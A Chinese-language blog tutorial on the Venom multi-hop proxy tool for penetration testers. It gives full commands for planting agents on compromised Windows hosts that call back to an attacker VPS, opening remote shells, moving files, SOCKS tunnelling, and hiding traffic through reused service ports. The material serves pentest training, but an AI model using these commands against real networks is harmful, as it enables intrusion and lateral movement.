免責申明
本公眾號的技術文章僅供參考,此文所提供的信息只為網絡安全人員對自己所負責的網站、服務器等(包括但不限于)進行檢測或維護參考,未經授權請勿利用文章中的技術資料對任何計算機系統進行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負責。本文所提供的工具僅用于學習,禁止用于其他!!!
簡介
Venom是一款為滲透測試人員設計的使用Go開發的多級代理工具。
Venom可將多個節點進行連接,然后以節點為跳板,構建多級代理。
滲透測試人員可以使用Venom輕松地將網絡流量代理到多層內網,并輕松地管理代理節點。
使用
使用案例
最終效果需要在kali上運行服務端,在win7上建立第一個節點,在win10上建立第二個節點,如有多級代理一次類推
venmo文件目錄
VPS以本地kali為例,執行命令,獲取相關命令幫助
./admin_linux_x64
Venom version: 1.1Usage:$ ./venom_admin -lport [port]$ ./venom_admin -rhost [ip] -rport [port]Options:-lport portListen a local port. //設置監聽端口-passwd passwordThe password used in encrypted communication. (optional) //設置密碼-rhost ipRemote ip address. //連接端口-rport portThe port on remote host. //連接地址
創建一級節點
在kali 服務器上執行:
./admin_linux_x64 -lport 12138 -passwd xiaoc
實際環境中通過獲取win7的權限,將venom的agent 工具上傳到win7
執行如下命令:
admin.exe -rhost VPS_ip -rport 12138 -passwd xiaoc
admin節點和agent節點均可監聽連接也可發起連接
admin監聽端口,agent發起連接:./admin_linux_x64 -lport 9999 -passwd xiaoc
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999 -passwd xiaocagent監聽端口,admin發起連接:./agent_linux_x64 -lport 8888 -passwd xiaoc
./admin_linux_x64 -rhost 192.168.204.139 -rport 8888 -passwd xiaoc
執行完命令后,第一個節點上線,可以使用show獲取當前拓撲
獲取節點后支持的命令如下:
help Help information.exit Exit.show Display network topology.getdes View description of the target node.setdes [info] Add a description to the target node.goto [id] Select id as the target node.listen [lport] Listen on a port on the target node.connect [rhost] [rport] Connect to a new node through the target node.sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.shell Start an interactive shell on the target node.upload [local_file] [remote_file] Upload files to the target node.download [remote_file] [local_file] Download files from the target node.socks [lport] Start a socks5 server.lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.rforward [rhost] [sport] [dport] Forward a remote sport to a local dport.
例如使用shell命令
使用goto 1
進入第一個節點,使用shell執行ipconfig命令
在實際攻防中會經常用到socks代理,例如
設置socke代理成功后可通過在瀏覽器配置代理或者配置proxychains4工具訪問其他端口服務
創建第二個節點
創建好第一個節點后,通過滲透獲取第二節點的win10服務器權限
在kali端進入第一個節點
監聽8787端口
listen 8787
將agent工具上傳到win10服務器,執行命令
agent.exe -rhost 10.168.2.20 -rport 8787 -passwd xiaoc
第二個節點上線成功
agent節點支持端口復用
agent提供了兩種端口復用方法
- 通過SO_REUSEPORT和SO_REUSEADDR選項進行端口復用
- 通過iptables進行端口復用(僅支持Linux平臺)
通過venom提供的端口復用功能,在windows上可以復用apache、mysql等服務的端口,暫時無法復用RDP、IIS等服務端口,在linux上可以復用多數服務端口。被復用的端口仍可正常對外提供其原有服務。
第一種端口復用方法
# 以windows下apache為例
# 復用apache 80端口,不影響apache提供正常的http服務
# -lhost 的值為本機ip,不能寫0.0.0.0,否則無法進行端口復用
./agent.exe -lhost 192.168.204.139 -reuse-port 80
./admin_macos_x64 -rhost 192.168.204.139 -rport 80
第二種端口復用方法
# 以linux下apache為例
# 需要root權限
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
這種端口復用方法會在本機設置iptables規則,將reuse-port的流量轉發到lport,再由agent分發流量
需要注意一點,如果通過sigterm,sigint信號結束程序(kill或ctrl-c),程序可以自動清理iptables規則。如果agent被kill -9殺掉則無法自動清理iptables規則,需要手動清理,因為agent程序無法處理sigkill信號。
為了避免iptables規則不能自動被清理導致滲透測試者無法訪問80端口服務,所以第二種端口復用方法采用了iptables -m recent通過特殊的tcp包控制iptables轉發規則是否開啟。
這里的實現參考了 https://threathunter.org/topic/594545184ea5b2f5516e2033
# 啟動agent在linux主機上設置的iptables規則
# 如果rhost在內網,可以使用socks5代理腳本流量,socks5代理的使用見下文
python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80# 連接agent節點
./admin_macos_x64 -rhost 192.168.204.135 -rport 80# 如果要關閉轉發規則
python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80
節點間通信加密
Venom提供節點間通信加密功能,用戶可通過-passwd選項指定密碼,該密碼用于生成AES加密所需的密鑰。
# 通過-passwd指定密碼為dlive@dubhe
./admin_macos_x64 -lport 8889 -passwd dlive@dubhe# agent指定相同的密碼與admin節點連接
./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe
下載鏈接
關注公眾號回復“20240628”獲取下載鏈接